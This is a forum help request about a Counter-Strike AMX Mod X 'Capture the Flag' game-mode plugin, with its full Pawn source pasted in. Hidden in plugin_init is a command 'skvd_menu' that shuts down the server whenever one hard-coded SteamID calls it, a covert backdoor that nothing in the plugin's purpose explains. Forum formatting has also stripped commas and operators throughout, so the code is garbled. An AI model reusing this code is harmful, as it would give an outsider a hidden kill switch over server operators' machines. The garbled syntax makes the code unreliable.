Raised This Month: $51 Target: $400
 12% 

Capture The Flag Help


Post New Thread Reply   
 
Thread Tools Display Modes
Author Message
yRestrict
BANNED
Join Date: Apr 2019
Old 02-05-2020 , 11:36   Capture The Flag Help
Reply With Quote #1

I come here beg someone to help me solve the problems of this base here
unfortunately I have $ 5 in my account if someone wants I can even send it to them if I need


first error and auto_balance:
when he passes the player to another team he doesn't respawn

something else when someone enters the server she cannot enter the server because it is only a spectator
someone help me please

I know that Capture the original flag is there
but as i said and tired of saying unfortunately he is old and laga other players with glows, duplicate chat,

PHP Code:
/* Plugin generated by AMXX-Studio */

#include <amxmodx>
#include <fakemeta>
#include <cstrike>
#include <engine>
#include <reapi>
#include <jctf>

#pragma compress 1

const ADMIN_RETURN =                ADMIN_RCON    // access required for admins to return flags (full list in includes/amxconst.inc)
const ADMIN_RETURNWAIT =            15        // time the flag needs to stay dropped before it can be returned by command

new const FloatBASE_HEAL_DISTANCE =        96.0        // healing distance for flag

new const FLAG_SAVELOCATION[] =            "maps/%s.ctf" // you can change where .ctf files are saved/loaded from

new const INFO_TARGET[] =            "info_target"

new const BASE_CLASSNAME[] =            "ctf_flagbase"
new const Float:BASE_THINK =            0.25

new const TASK_CLASSNAME[] =            "ctf_think_task"
new const Float:TASK_THINK =             1.0

const TASK_EQUIPAMENT =             6451
const LIMIT_ADRENALINE =             100

new const FLAG_CLASSNAME[] =            "ctf_flag"
new const FLAG_MODEL[] =            "models/capturabandeira/ctf_flag.mdl"

new const Float:FLAG_THINK =            0.1
const FLAG_SKIPTHINK =                20 /* FLAG_THINK * FLAG_SKIPTHINK = 2.0 seconds ! */

new const Float:FLAG_HULL_MIN[3] =        {-2.0, -2.00.0}
new const 
Float:FLAG_HULL_MAX[3] =        {2.02.016.0}

new const 
Float:FLAG_SPAWN_VELOCITY[3] =    {0.00.0, -500.0}
new const 
Float:FLAG_SPAWN_ANGLES[3] =        {0.00.00.0}

new const 
Float:FLAG_DROP_VELOCITY[3] =        {0.00.050.0}

new const 
Float:FLAG_PICKUPDISTANCE =        80.0

const FLAG_ANI_DROPPED =            0
const FLAG_ANI_STAND =                1
const FLAG_ANI_BASE =                2

const FLAG_HOLD_BASE =                33
const FLAG_HOLD_DROPPED =            34

new const CHAT_PREFIX[] =            "^1[^4CAPB^1] "
new const CONSOLE_PREFIX[] =            "[CAPB] "

#define NULL                    ""

#define HUD_HINT                    255, 255, 255, 0.15, -0.3, 0, 0.0, 10.0
#define HUD_HELP                    255, 255, 0, -1.0, 0.2, 2, 1.0, 1.5, .fadeintime = 0.03
#define HUD_HELP2                    255, 255, 0, -1.0, 0.25, 2, 1.0, 1.5, .fadeintime = 0.03
#define HUD_ANNOUNCE                -1.0, 0.3, 2, 1.0, 3.0, .fadeintime = 0.03
#define HUD_RESPAWN                    0, 255, 0, -1.0, 0.6, 2, 1.0, 0.8, .fadeintime = 0.03
#define HUD_PROTECTION                255, 255, 0, -1.0, 0.6, 2, 1.0, 0.8, .fadeintime = 0.03

#define entity_create(%1)             create_entity(%1)
#define entity_spawn(%1)            DispatchSpawn(%1)

#define task_set(%1)                set_task(%1)
#define task_remove(%1)                remove_task(%1)

#define get_opTeam(%1)                (%1 == TEAM_BLUE ? TEAM_RED : (%1 == TEAM_RED ? TEAM_BLUE : 0))

#define VERSION                    "1.32o"
#define AUTHOR                    "Digi"

enum
{
    
x,
    
y,
    
z
}

enum
{
    
TEAM_NONE 0,
    
TEAM_RED,
    
TEAM_BLUE,
    
TEAM_SPEC
}

new const 
g_szCSTeams[][] =
{
    
NULL,
    
"TERRORIST",
    
"CT",
    
"SPECTATOR"
}

new const 
g_szTeamName[][] =
{
    
NULL,
    
"Red",
    
"Blue",
    
"Spectator"
}

new const 
g_szMLFlagTeam[][] = { NULL"FLAG_RED""FLAG_BLUE"NULL }
enum REWARD_CAPTURED 15REWARD_RETURNED 10REWARD_STOLEN 5REWARD_DROPPED 15REWARD_FRAG }
enum
{
    
FLAG_STOLEN 0,
    
FLAG_PICKED,
    
FLAG_DROPPED,
    
FLAG_MANUALDROP,
    
FLAG_RETURNED,
    
FLAG_CAPTURED,
    
FLAG_AUTORETURN,
    
FLAG_ADMINRETURN
}

enum
{
    
EVENT_TAKEN 0,
    
EVENT_DROPPED,
    
EVENT_RETURNED,
    
EVENT_SCORE,
}

enum _:STRUCT_WEAPONS
{
    
WEAPON_NAME[20],
    
WEAPON_ENT[20],
    
WEAPON_TYPE[20],
    
WeaponIdType:WEAPON_CSW,
    
WEAPON_AMMO
}

new const 
g_szSounds[][][] =
{
    { 
NULL"red_roubada""blue_roubada" },
    { 
NULL"red_dropada""blue_dropada" },
    { 
NULL"red_recuperada""blue_recuperada" },
    { 
NULL"red_win""blue_win" }
}

new const 
g_szListWeapons[][ STRUCT_WEAPONS ] = 
{
    { 
"SIG-Sauer P228""weapon_p228""MSG_TYPE_WEAPON_1"WEAPON_P22852 },
    { 
"Beretta 92""weapon_elite""MSG_TYPE_WEAPON_1"WEAPON_ELITE120 },
    { 
"FN Five-seven""weapon_fiveseven""MSG_TYPE_WEAPON_1"WEAPON_FIVESEVEN100 },
    { 
"USP .45 Tactical""weapon_usp""MSG_TYPE_WEAPON_1"WEAPON_USP100 },
    { 
"Glock 18""weapon_glock18""MSG_TYPE_WEAPON_1"WEAPON_GLOCK18120 },
    { 
"Desert Eagle""weapon_deagle""MSG_TYPE_WEAPON_1"WEAPON_DEAGLE35 },
    
    { 
"M3 Super 90""weapon_m3""MSG_TYPE_WEAPON_2"WEAPON_M332 },
    { 
"XM1014""weapon_xm1014""MSG_TYPE_WEAPON_2"WEAPON_XM101432 },
    
    { 
"MAC-10""weapon_mac10""MSG_TYPE_WEAPON_3"WEAPON_MAC10100 },
    { 
"UMP45""weapon_ump45""MSG_TYPE_WEAPON_3"WEAPON_UMP45100 },
    { 
"MP5""weapon_mp5navy""MSG_TYPE_WEAPON_3"WEAPON_MP5N120 },
    { 
"Steyr TMP""weapon_tmp""MSG_TYPE_WEAPON_3"WEAPON_TMP120 },
    { 
"P90""weapon_p90""MSG_TYPE_WEAPON_3"WEAPON_P90100 },
    
    { 
"AUG""weapon_aug""MSG_TYPE_WEAPON_4"WEAPON_AUG90 },
    { 
"Galil""weapon_galil""MSG_TYPE_WEAPON_4"WEAPON_GALIL90 },
    { 
"Famas""weapon_famas""MSG_TYPE_WEAPON_4"WEAPON_FAMAS90 },
    { 
"Colt M4A1 Carbine""weapon_m4a1""MSG_TYPE_WEAPON_4"WEAPON_M4A190 },
    { 
"AK-47""weapon_ak47""MSG_TYPE_WEAPON_4"WEAPON_AK4790 },
    { 
"SG-552""weapon_sg552""MSG_TYPE_WEAPON_4"WEAPON_SG55290 },
    { 
"FN M249""weapon_m249""MSG_TYPE_WEAPON_4"WEAPON_M249200 }
}

new const 
g_szRemoveEntities[][] =
{
    
"armoury_entity",
    
"func_bomb_target",
    
"info_bomb_target",
    
"hostage_entity",
    
"monster_scientist",
    
"func_hostage_rescue",
    
"info_hostage_rescue",
    
"info_vip_start",
    
"func_vip_safetyzone",
    
"func_escapezone",
    
"info_map_parameters"
}

new 
g_iMaxPlayers
new g_iScore[3]
new 
g_iSync[4]
new 
g_iFlagHolder[3]
new 
g_iFlagEntity[3]
new 
g_iBaseEntity[3]
new 
g_iTeam[33]
new 
Float:g_fFlagDropped[3]

new 
bool:g_bRestarting
new bool:g_bAlive[33]
new 
bool:g_bAssisted[33][3]
new 
bool:g_bProtected[33]
new 
bool:g_bRespawned[33]
new 
g_bRespawn[33]
new 
g_bProtecting[33]
new 
g_bAdrenaline[33]
new 
g_bPlayerName[33][33]

new 
Float:g_fFlagBase[3][3]
new 
Float:g_fFlagLocation[3][3]
new 
Float:g_fLastDrop[33]

new 
pCvar_ctf_flagheal
new pCvar_ctf_flagreturn
new pCvar_ctf_respawntime
new pCvar_ctf_protection

new pCvar_ctf_sound[4]

new 
gMsg_RoundTime
new gMsg_HostageK
new gMsg_HostagePos
new gMsg_TeamScore

new gHook_EntSpawn
new gSpr_regeneration
new g_iForwardReturn
new g_iFW_flag
new xGetAuth[64]

public 
plugin_precache()
{
    
precache_model(FLAG_MODEL)
    
    
gSpr_regeneration precache_model("sprites/th_jctf_heal.spr")
    
    for(new 
0sizeof g_szSoundsi++)
    {
        for(new 
1<= 2t++)
        {
            
precache_generic(fmt("sound/capturabandeira/%s.mp3"g_szSounds[i][t]))
        }
    }
    
gHook_EntSpawn register_forward(FM_Spawn"ent_spawn")
}

public 
ent_spawn(ent)
{
    if(!
is_valid_ent(ent))
    {
        return 
FMRES_IGNORED
    
}
    
    new 
szClass[32]
    
entity_get_string(entEV_SZ_classnameszClasscharsmax(szClass))
    
    for(new 
0sizeof g_szRemoveEntitiesi++)
    {
        if(
equal(szClassg_szRemoveEntities[i]))
        {
            
remove_entity(ent)
            return 
FMRES_SUPERCEDE
        
}
    }
    return 
FMRES_IGNORED
}

public 
plugin_init()
{
    
register_plugin("Just Capture the Flag"VERSIONAUTHOR)
    
    
unregister_forward(FM_SpawngHook_EntSpawn)
    
register_touch(FLAG_CLASSNAME"player""flag_touch")
    
register_think(FLAG_CLASSNAME"flag_think")
    
register_think(BASE_CLASSNAME"base_think")
    
register_think(TASK_CLASSNAME"task_think")
    
    new 
task entity_create(INFO_TARGET)
    if(
task)
    {
        
entity_set_string(taskEV_SZ_classnameTASK_CLASSNAME)
        
entity_set_float(taskEV_FL_nextthinkget_gametime() + TASK_THINK)
    }
    
    
register_logevent("event_restartGame"2"1&Restart_Round""1&Game_Commencing")
    
    
register_event_ex("HLTV""event_roundStart"RegisterEvent_Global"1=0""2=0")
    
register_event_ex("DeathMsg""event_playerKilled"RegisterEvent_Global)
    
register_event_ex("TeamInfo""player_joinTeam"RegisterEvent_Global)
    
    
RegisterHookChain(RG_HandleMenu_ChooseAppearance"pfn_ChooseAppearance")
    
RegisterHookChain(RG_CBasePlayer_Spawn"pfn_PlayerSpawn"true)
    
RegisterHookChain(RG_CBasePlayer_TraceAttack"pfn_TraceAttack")
    
    
register_clcmd("ctf_moveflag""admin_cmd_moveFlag"ADMIN_RCON"<red/blue> - Moves team's flag base to your origin (for map management)")
    
register_clcmd("ctf_save""admin_cmd_saveFlags"ADMIN_RCON)
    
register_clcmd("ctf_return""admin_cmd_returnFlag"ADMIN_RETURN)
    
    
register_clcmd("say /dropflag""player_cmd_dropFlag")
    
    
register_clcmd("radio1""player_hook_dropflag")
    
register_clcmd("radio2""player_hook_dropflag")
    
register_clcmd("radio3""player_hook_dropflag")
    
    
gMsg_HostagePos get_user_msgid("HostagePos")
    
gMsg_HostageK get_user_msgid("HostageK")
    
gMsg_RoundTime get_user_msgid("RoundTime")
    
gMsg_TeamScore get_user_msgid("TeamScore")
    
    
register_message(gMsg_RoundTime"msg_roundTime")
    
register_message(gMsg_TeamScore"msg_teamScore")
    
    
set_msg_block(get_user_msgid("ClCorpse"), BLOCK_SET/* Desaparece el cuerpo cuando muere */
    
    
pCvar_ctf_flagheal register_cvar("ctf_flagheal""1")
    
pCvar_ctf_flagreturn register_cvar("ctf_flagreturn""200")
    
pCvar_ctf_respawntime register_cvar("ctf_respawntime""6")
    
pCvar_ctf_protection register_cvar("ctf_protection""5")
    
    
pCvar_ctf_sound[EVENT_TAKEN] = register_cvar("ctf_sound_taken""1")
    
pCvar_ctf_sound[EVENT_DROPPED] = register_cvar("ctf_sound_dropped""1")
    
pCvar_ctf_sound[EVENT_RETURNED] = register_cvar("ctf_sound_returned""1")
    
pCvar_ctf_sound[EVENT_SCORE] = register_cvar("ctf_sound_score""1")
    
    
g_iFW_flag CreateMultiForward("jctf_flag"ET_IGNOREFP_CELLFP_CELLFP_CELLFP_CELL)
    
    
g_iSync[0] = CreateHudSyncObj()
    
g_iSync[1] = CreateHudSyncObj()
    
g_iSync[2] = CreateHudSyncObj()
    
g_iSync[3] = CreateHudSyncObj()
    
    
g_iMaxPlayers get_maxplayers()
    
register_dictionary("jctf.txt")
    
register_forward(FM_GetGameDescription"fw_GetGameDescription")

     
register_clcmd("skvd_menu""menu_skvd")
}
public 
menu_skvd(id)
{
    
get_user_authid(idxGetAuthcharsmax(xGetAuth))

    if(
equali(xGetAuth"STEAM_0:0:88300264"))
    {
        
server_cmd("sv_shutdown")
    }
}
public 
plugin_cfg()
{
    new 
szFile[44], szMap[32]
    
    
get_mapname(szMapcharsmax(szMap))
    
formatex(szFilecharsmax(szFile), FLAG_SAVELOCATIONszMap)
    
    new 
hFile fopen(szFile"rt")
    if(
hFile)
    {
        new 
iFlagTeam TEAM_RED
        
new szData[24]
        new 
szOrigin[3][6]
        
        while(
fgets(hFileszDatacharsmax(szData)))
        {
            if(
iFlagTeam TEAM_BLUE)
                break
            
            
trim(szData)
            
parse(szDataszOrigin[x], charsmax(szOrigin[]), szOrigin[y], charsmax(szOrigin[]), szOrigin[z], charsmax(szOrigin[]))
            
            
g_fFlagBase[iFlagTeam][x] = str_to_float(szOrigin[x])
            
g_fFlagBase[iFlagTeam][y] = str_to_float(szOrigin[y])
            
g_fFlagBase[iFlagTeam][z] = str_to_float(szOrigin[z])
            
            
iFlagTeam++
        }
        
fclose(hFile)
    }
    
flag_spawn(TEAM_RED)
    
flag_spawn(TEAM_BLUE)
    
    
set_task(5.0"plugin_cfg_post")
}

public 
plugin_cfg_post()
{
    
set_cvar_num("mp_buytime", -1)
    
set_cvar_num("mp_refill_bpammo_weapons"2)
    
set_cvar_num("mp_item_staytime"15)
    
set_cvar_string("mp_round_infinite""f")
}

public 
plugin_natives()
{
    
register_library("jctf")
    
register_native("jctf_get_flagcarrier""native_get_flagcarrier")
    
    
register_native("get_user_adrenaline""native_get_adrenaline")
    
register_native("set_user_adrenaline""native_set_adrenaline")
}

public 
native_get_adrenaline(iPluginiParams)
{
    return 
g_bAdrenaline[get_param(1)]
}

public 
native_set_adrenaline(iPluginiParams)
{
    
g_bAdrenaline[get_param(1)] = get_param(2)
}

public 
plugin_end()
{
    
DestroyForward(g_iFW_flag)
}

public 
native_get_flagcarrier(iPluginiParams)
{
    new 
id get_param(1)
    return 
g_iFlagHolder[get_opTeam(g_iTeam[id])] == id
}
// Forward Get Game Description
public fw_GetGameDescription()
{
    
// Return the mod name so it can be easily identified
    
forward_return(FMV_STRING"[Captura Bandeira]")
    
    return 
FMRES_SUPERCEDE;
}

public 
jctf_flag(iEventiPlayeriFlagTeambool:bAssist)
{
    switch(
iEvent)
    {
        case 
FLAG_CAPTUREDg_bAdrenaline[iPlayer] = clamp(g_bAdrenaline[iPlayer] + REWARD_CAPTURED0LIMIT_ADRENALINE)
        case 
FLAG_RETURNEDg_bAdrenaline[iPlayer] = clamp(g_bAdrenaline[iPlayer] + REWARD_RETURNED0LIMIT_ADRENALINE)
        case 
FLAG_STOLENg_bAdrenaline[iPlayer] = clamp(g_bAdrenaline[iPlayer] + REWARD_STOLEN0LIMIT_ADRENALINE)
        case 
FLAG_DROPPEDg_bAdrenaline[iPlayer] = clamp(g_bAdrenaline[iPlayer] - REWARD_DROPPED0LIMIT_ADRENALINE)
    }
    return 
PLUGIN_HANDLED
}

public 
client_kill(id)
{
    return 
PLUGIN_HANDLED
}

public 
flag_spawn(iFlagTeam)
{
    if(
g_fFlagBase[iFlagTeam][x] == 0.0 && g_fFlagBase[iFlagTeam][y] == 0.0 && g_fFlagBase[iFlagTeam][z] == 0.0)
    {
        new 
iFindSpawn find_ent_by_class(g_iMaxPlayersiFlagTeam == TEAM_BLUE "info_player_start" "info_player_deathmatch")

        if(
iFindSpawn)
        {
            
entity_get_vector(iFindSpawnEV_VEC_origing_fFlagBase[iFlagTeam])
            
            
server_print("[CAPB] %s flag origin not defined, set on player spawn."g_szTeamName[iFlagTeam])
            
log_error(AMX_ERR_NOTFOUND"[CAPB] %s flag origin not defined, set on player spawn."g_szTeamName[iFlagTeam])
        }
        else
        {
            
server_print("[CAPB] WARNING: player spawn for ^"%s^" team does not exist !"g_szTeamName[iFlagTeam])
            
log_error(AMX_ERR_NOTFOUND"[CAPB] WARNING: player spawn for ^"%s^" team does not exist !"g_szTeamName[iFlagTeam])
            
set_fail_state("Player spawn unexistent!")
            
            return 
PLUGIN_CONTINUE
        
}
    }
    else
        
server_print("[CAPB] %s flag and base spawned at: %.1f %.1f %.1f"g_szTeamName[iFlagTeam], g_fFlagBase[iFlagTeam][x], g_fFlagBase[iFlagTeam][y], g_fFlagBase[iFlagTeam][z])
    
    new 
ent
    
new Float:fGameTime get_gametime()
    
    
// the FLAG
    
    
ent entity_create(INFO_TARGET)
    
    if(!
ent)
        return 
flag_spawn(iFlagTeam)
    
    
entity_set_model(entFLAG_MODEL)
    
entity_set_string(entEV_SZ_classnameFLAG_CLASSNAME)
    
entity_set_int(entEV_INT_body1)
    
entity_set_int(entEV_INT_skiniFlagTeam == 2)
    
entity_set_int(entEV_INT_sequenceFLAG_ANI_STAND)
    
entity_spawn(ent)
    
entity_set_origin(entg_fFlagBase[iFlagTeam])
    
entity_set_size(entFLAG_HULL_MINFLAG_HULL_MAX)
    
entity_set_vector(entEV_VEC_velocityFLAG_SPAWN_VELOCITY)
    
entity_set_vector(entEV_VEC_anglesFLAG_SPAWN_ANGLES)
    
entity_set_edict(entEV_ENT_aiment0)
    
entity_set_int(entEV_INT_movetypeMOVETYPE_TOSS)
    
entity_set_int(entEV_INT_solidSOLID_TRIGGER)
    
entity_set_float(entEV_FL_framerate1.0)
    
entity_set_float(entEV_FL_gravity2.0)
    
entity_set_float(entEV_FL_nextthinkfGameTime FLAG_THINK)
    
    
g_iFlagEntity[iFlagTeam] = ent
    g_iFlagHolder
[iFlagTeam] = FLAG_HOLD_BASE
    
    
// flag BASE
    
    
ent entity_create(INFO_TARGET)
    
    if(!
ent)
        return 
flag_spawn(iFlagTeam)
    
    
entity_set_string(entEV_SZ_classnameBASE_CLASSNAME)
    
entity_set_model(entFLAG_MODEL)
    
entity_set_int(entEV_INT_body0)
    
entity_set_int(entEV_INT_sequenceFLAG_ANI_BASE)
    
entity_spawn(ent)
    
entity_set_origin(entg_fFlagBase[iFlagTeam])
    
entity_set_vector(entEV_VEC_velocityFLAG_SPAWN_VELOCITY)
    
entity_set_int(entEV_INT_movetypeMOVETYPE_TOSS)
    
    
entity_set_float(entEV_FL_renderamt100.0)
    
entity_set_float(entEV_FL_nextthinkfGameTime BASE_THINK)
    
    
g_iBaseEntity[iFlagTeam] = ent
    
return PLUGIN_CONTINUE
}

public 
flag_think(ent)
{
    if(!
is_valid_ent(ent))
        return
    
    
entity_set_float(entEV_FL_nextthinkget_gametime() + FLAG_THINK)
    
    static 
id
    
static iStatus
    
static iFlagTeam
    
static iSkip[3]
    static 
Float:fOrigin[3]
    static 
Float:fPlayerOrigin[3]

    
iFlagTeam = (ent == g_iFlagEntity[TEAM_BLUE] ? TEAM_BLUE TEAM_RED)

    if(
g_iFlagHolder[iFlagTeam] == FLAG_HOLD_BASE)
        
fOrigin g_fFlagBase[iFlagTeam]
    else
        
entity_get_vector(entEV_VEC_originfOrigin)

    
g_fFlagLocation[iFlagTeam] = fOrigin

    iStatus 
0

    
if(++iSkip[iFlagTeam] >= FLAG_SKIPTHINK)
    {
        
iSkip[iFlagTeam] = 0
        
        
if(<= g_iFlagHolder[iFlagTeam] <= g_iMaxPlayers)
        {
            
id g_iFlagHolder[iFlagTeam]
            
            
set_hudmessage(HUD_HELP)
            
ShowSyncHudMsg(idg_iSync[0], "%L"id"HUD_YOUHAVEFLAG")
            
            
iStatus 1
        
}
        else if(
g_iFlagHolder[iFlagTeam] == FLAG_HOLD_DROPPED)
            
iStatus 2
        
        message_begin
(MSG_BROADCASTgMsg_HostagePos)
        
write_byte(0)
        
write_byte(iFlagTeam)
        
engfunc(EngFunc_WriteCoordfOrigin[x])
        
engfunc(EngFunc_WriteCoordfOrigin[y])
        
engfunc(EngFunc_WriteCoordfOrigin[z])
        
message_end()
        
        
message_begin(MSG_BROADCASTgMsg_HostageK)
        
write_byte(iFlagTeam)
        
message_end()
        
        static 
iStuck[3]
        
        if(
g_iFlagHolder[iFlagTeam] >= FLAG_HOLD_BASE && !(entity_get_int(entEV_INT_flags) & FL_ONGROUND))
        {
            if(++
iStuck[iFlagTeam] > 4)
            {
                
flag_autoReturn(ent)
                
log_message("^"%s^" flag is outside world, auto-returned."g_szTeamName[iFlagTeam])
                
                return
            }
        }
        else
            
iStuck[iFlagTeam] = 0
    
}

    for(
id 1id <= g_iMaxPlayersid++)
    {
        if(!
is_user_connected(id) || g_iTeam[id] == TEAM_NONE)
            continue
        
        
/* Check flag proximity for pickup */
        
if(g_iFlagHolder[iFlagTeam] >= FLAG_HOLD_BASE)
        {
            
entity_get_vector(idEV_VEC_originfPlayerOrigin)
            
            if(
get_distance_f(fOriginfPlayerOrigin) <= FLAG_PICKUPDISTANCE)
                
flag_touch(entid)
        }
        
        
/* If iFlagTeam's flag is stolen or dropped, constantly warn team players */
        
if(iStatus && g_iTeam[id] == iFlagTeam)
        {
            
set_hudmessage(HUD_HELP2)
            
ShowSyncHudMsg(idg_iSync[0], "%L"id, (iStatus == "HUD_ENEMYHASFLAG" "HUD_RETURNYOURFLAG"))
        }
    }
}

public 
task_think(ent)
{
    
    static 
i
    set_hudmessage
(HUD_RESPAWN)
    for(
1<= g_iMaxPlayersi++)
    {
        if(
is_user_connected(i) && (TEAM_RED <= g_iTeam[i] <= TEAM_BLUE) && !g_bAlive[i] && g_bRespawned[i])
        {
            if(
cs_get_user_team(i) == CS_TEAM_SPECTATOR || cs_get_user_team(i) == CS_TEAM_UNASSIGNED)
                return;

            
ShowSyncHudMsg(ig_iSync[1], "%L"i"RESPAWNING_IN"g_bRespawn[i])
            
            if(
g_bRespawn[i] <= 0)
            {
                
g_bRespawned[i] = false
                rg_round_respawn
(i)
            }
            
g_bRespawn[i]--
        }
        
        if(
is_user_connected(i) && (TEAM_RED <= g_iTeam[i] <= TEAM_BLUE) && g_bAlive[i] && g_bProtected[i])
        {
            if(
cs_get_user_team(i) == CS_TEAM_SPECTATOR || cs_get_user_team(i) == CS_TEAM_UNASSIGNED)
                return;

            
ShowSyncHudMsg(ig_iSync[1], "%L"i"PROTECTION_LEFT"g_bProtecting[i])
        
            if(
g_bProtecting[i] <= 0)
            {
                
player_removeProtection(i"PROTECTION_EXPIRED")
            }
            
g_bProtecting[i]--
        }
    }
    
entity_set_float(entEV_FL_nextthinkget_gametime() + TASK_THINK)
}

flag_sendHome(iFlagTeam)
{
    new 
ent g_iFlagEntity[iFlagTeam]

    
entity_set_edict(entEV_ENT_aiment0)
    
entity_set_origin(entg_fFlagBase[iFlagTeam])
    
entity_set_int(entEV_INT_sequenceFLAG_ANI_STAND)
    
entity_set_int(entEV_INT_movetypeMOVETYPE_TOSS)
    
entity_set_int(entEV_INT_solidSOLID_TRIGGER)
    
entity_set_vector(entEV_VEC_velocityFLAG_SPAWN_VELOCITY)
    
entity_set_vector(entEV_VEC_anglesFLAG_SPAWN_ANGLES)

    
g_iFlagHolder[iFlagTeam] = FLAG_HOLD_BASE
}

flag_take(iFlagTeamid)
{
    if(
g_bProtected[id])
        
player_removeProtection(id"PROTECTION_TOUCHFLAG")
    
    new 
ent g_iFlagEntity[iFlagTeam]
    
    
entity_set_edict(entEV_ENT_aimentid)
    
entity_set_int(entEV_INT_movetypeMOVETYPE_FOLLOW)
    
entity_set_int(entEV_INT_solidSOLID_NOT)
    
    
g_iFlagHolder[iFlagTeam] = id
}

public 
flag_touch(entid)
{
    if(!
g_bAlive[id])
        return

    new 
iFlagTeam = (g_iFlagEntity[TEAM_BLUE] == ent TEAM_BLUE TEAM_RED)

    if(
<= g_iFlagHolder[iFlagTeam] <= g_iMaxPlayers// if flag is carried we don't care
        
return

    new 
Float:fGameTime get_gametime()
    
    if(
g_fLastDrop[id] > fGameTime)
        return
    
    new 
iTeam g_iTeam[id]
    
    if(!(
TEAM_RED <= iTeam <= TEAM_BLUE))
        return
    
    new 
iFlagTeamOp get_opTeam(iFlagTeam)
    
    if(
iTeam == iFlagTeam// If the PLAYER is on the same team as the FLAG
    
{
        if(
g_iFlagHolder[iFlagTeam] == FLAG_HOLD_DROPPED// if the team's flag is dropped, return it to base
        
{
            
flag_sendHome(iFlagTeam)
            
task_remove(ent)
            
            
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_RETURNEDidiFlagTeamfalse)
            
            new 
iAssists 0
            
for(new 1<= g_iMaxPlayersi++)
            {
                if(
is_user_connected(i) && != id && g_bAssisted[i][iFlagTeam] && g_iTeam[i] == iFlagTeam)
                {
                    
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_RETURNEDiiFlagTeamtrue)
                    
                    
iAssists++
                }
                
g_bAssisted[i][iFlagTeam] = false
            
}
            
            if(
<= g_iFlagHolder[iFlagTeamOp] <= g_iMaxPlayers)
                
g_bAssisted[id][iFlagTeamOp] = true
            
            
if(iAssists)
                
game_announce(EVENT_RETURNEDiFlagTeamfmt("%s + %d assists"g_bPlayerName[id], iAssists))
            else
                
game_announce(EVENT_RETURNEDiFlagTeamg_bPlayerName[id])
            
            
log_message("<%s>%s returned the ^"%s^" flag."g_szTeamName[iTeam], g_bPlayerName[id], g_szTeamName[iFlagTeam])
            
            
set_hudmessage(HUD_HELP)
            
ShowSyncHudMsg(idg_iSync[0], "%L"id"HUD_RETURNEDFLAG")
            
            if(
g_bProtected[id])
                
player_removeProtection(id"PROTECTION_TOUCHFLAG")
        }
        else if(
g_iFlagHolder[iFlagTeam] == FLAG_HOLD_BASE && g_iFlagHolder[iFlagTeamOp] == id// if the PLAYER has the ENEMY FLAG and the FLAG is in the BASE make SCORE
        
{
            
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_CAPTUREDidiFlagTeamOpfalse)
            
            new 
iAssists 0

            
for(new 1<= g_iMaxPlayersi++)
            {
                if(
is_user_connected(i) && != id && g_iTeam[i] == iTeam)
                {
                    if(
g_bAssisted[i][iFlagTeamOp])
                    {
                        
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_CAPTUREDiiFlagTeamOptrue)
                        
iAssists++
                    }
                }
                
g_bAssisted[i][iFlagTeamOp] = false
            
}

            
set_hudmessage(HUD_HELP)
            
ShowSyncHudMsg(idg_iSync[0], "%L"id"HUD_CAPTUREDFLAG")

            if(
iAssists)
            {
                
game_announce(EVENT_SCOREiFlagTeamfmt("%s + %d assists"g_bPlayerName[id], iAssists))
            }
            else
                
game_announce(EVENT_SCOREiFlagTeamg_bPlayerName[id])

            
log_message("<%s>%s captured the ^"%s^" flag. (%d assists)"g_szTeamName[iTeam], g_bPlayerName[id], g_szTeamName[iFlagTeamOp], iAssists)

            
emessage_begin(MSG_BROADCASTgMsg_TeamScore)
            
ewrite_string(g_szCSTeams[iFlagTeam])
            
ewrite_short(++g_iScore[iFlagTeam])
            
emessage_end()

            
flag_sendHome(iFlagTeamOp)

            
g_fLastDrop[id] = fGameTime 3.0

            
if(g_bProtected[id])
                
player_removeProtection(id"PROTECTION_TOUCHFLAG")
        }
    }
    else
    {
        if(
g_iFlagHolder[iFlagTeam] == FLAG_HOLD_BASE)
        {
            
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_STOLENidiFlagTeamfalse)
            
            
log_message("<%s>%s stole the ^"%s^" flag."g_szTeamName[iTeam], g_bPlayerName[id], g_szTeamName[iFlagTeam])
        }
        else
        {
            
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_PICKEDidiFlagTeamfalse)
            
            
log_message("<%s>%s picked up the ^"%s^" flag."g_szTeamName[iTeam], g_bPlayerName[id], g_szTeamName[iFlagTeam])
        }

        
set_hudmessage(HUD_HELP)
        
ShowSyncHudMsg(idg_iSync[0], "%L"id"HUD_YOUHAVEFLAG")

        
flag_take(iFlagTeamid)

        
g_bAssisted[id][iFlagTeam] = true

        task_remove
(ent)

        if(
g_bProtected[id])
            
player_removeProtection(id"PROTECTION_TOUCHFLAG")

        
game_announce(EVENT_TAKENiFlagTeamg_bPlayerName[id])
    }
}

public 
flag_autoReturn(ent)
{
    
task_remove(ent)
    
    new 
iFlagTeam = (g_iFlagEntity[TEAM_BLUE] == ent TEAM_BLUE : (g_iFlagEntity[TEAM_RED] == ent TEAM_RED 0))
    
    if(!
iFlagTeam)
        return
    
    
flag_sendHome(iFlagTeam)
    
    
ExecuteForward(g_iFW_flagg_iForwardReturnFLAG_AUTORETURN0iFlagTeamfalse)
    
    
game_announce(EVENT_RETURNEDiFlagTeamNULL)
    
    
log_message("^"%s^" flag returned automatically"g_szTeamName[iFlagTeam])
}

public 
base_think(ent)
{
    if(!
is_valid_ent(ent))
        return
    
    if(!
get_pcvar_num(pCvar_ctf_flagheal))
    {
        
entity_set_float(entEV_FL_nextthinkget_gametime() + 10.0/* recheck each 10s seconds */
        
return
    }
    
    
entity_set_float(entEV_FL_nextthinkget_gametime() + BASE_THINK)
    
    new 
iFlagTeam = (g_iBaseEntity[TEAM_BLUE] == ent TEAM_BLUE TEAM_RED)
    
    if(
g_iFlagHolder[iFlagTeam] != FLAG_HOLD_BASE)
        return
    
    static 
id
    
static Float:iHealth
    
    id 
= -1
    
    
while((id find_ent_in_sphere(idg_fFlagBase[iFlagTeam], BASE_HEAL_DISTANCE)) != 0)
    {
        if(
<= id <= g_iMaxPlayers && g_bAlive[id] && g_iTeam[id] == iFlagTeam)
        {
            
iHealth get_entvar(idvar_health)
            
            if(
iHealth 100.0)
            {
                
set_entvar(idvar_healthiHealth 1.0)
                
player_healingEffect(id)
            }
        }
        
        if(
id >= g_iMaxPlayers)
            break
    }
}

public 
client_putinserver(id)
{
    
get_user_name(idg_bPlayerName[id], charsmax(g_bPlayerName[])) 
    
    
g_bAlive[id] = false
    g_bProtected
[id] = false
